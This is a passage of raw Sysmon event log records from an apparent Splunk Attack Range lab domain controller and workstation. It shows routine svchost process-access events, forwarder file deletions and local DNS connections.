Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3F98437622817A0F2A8B63A27F71EF03,SHA256=9A7F4A6304FC57BBF7A13EAC5F13E3AE791A40EB5C758525247C5BDCAFC2AE8D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F40E6960A561F14C29FDD6836EA89D5F,SHA256=423A79536B62B40A087AF7043A506C5C41F28A05FA673396C87195C37BA96E2B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016639Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:39.137{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=32FFD4873665A860534264B7D1AAC81D,SHA256=1B72390853D6173DC3C229474615CBBB3384D924E499CCC1006F1EB64B9D080B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:39.383{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:40.850{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BF1EEF5F4CD87D66243145BCDB1A5902,SHA256=43986A1F1167426F8A6308DF154F084AB64A4EC6741AF2748A5455ED51B58FDB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016640Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:40.168{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80ADD838377C0034076E25E0F2CBB86E,SHA256=5B9C531B94BACEE2EE0EA29BB4E1AEB13B448ADABE7DB64761624C44BF70D8D4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:37.887{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57242- 23542300x800000000000000051886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:41.865{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5089541E3C5ABE8D22D83FE3FA7582ED,SHA256=42DCDDAC39B501A77A0E4D8B165D2DFF732C6690FDB3D040F0965339C2CD0268,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016641Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:41.183{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F2F47657FC26B5B2A343E28C1EEA705,SHA256=2421E18B712CB9C4373E1B90379F53B0C6E2892D63F322D59337E6F6F8337228,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:37.924{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT 